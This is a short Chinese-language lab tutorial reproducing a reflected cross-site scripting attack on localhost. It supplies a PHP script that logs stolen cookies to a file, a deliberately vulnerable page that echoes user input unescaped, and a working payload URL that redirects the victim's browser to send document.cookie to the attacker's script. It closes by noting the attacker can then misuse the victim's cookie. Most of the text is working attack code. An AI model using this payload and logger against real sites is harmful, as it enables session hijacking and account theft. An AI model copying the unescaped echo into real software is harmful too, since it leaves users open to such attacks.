测试环境:hacker端   and   victim端

1,hacker端(hacker.php)的程序内容如下:


<?php

$cookie=$_GET['cookie'];

$file=fopen("cookie.txt","a");

fwrite($file,$cookie);

fclose($file)

?>


2,受害者端(victim.php)的程序内容如下:

<html>

<head>

<title>xss跨站原理复现</title>

</head>

<body>

<form action="" method="get">

<input type="text" name="xss_input">

<input type="submit" value="提交">

</form>


<?php

$xss=@$_GET['xss_input'];

echo '你输入的字符为<br>'.$xss;

?>

</body>

</html>


3,hacker发给victim的payload语句如下:
http://localhost/victim.php?xss_input=<script>document.location="http://localhost/hacker.php?cookie="+document.cookie</script>
ps:第一次用的事件不是document.location,选择的是window.open事件,But,没有成功。更换浏览器也不照。


4,当victim点击hacker发送的链接后,Victim主机的cookie就被写入到hacker的cookie.txt文档中了,cookie信息也就因此丢失了,那么hacker久可以利用这个cookie信息针对victim做bulabula....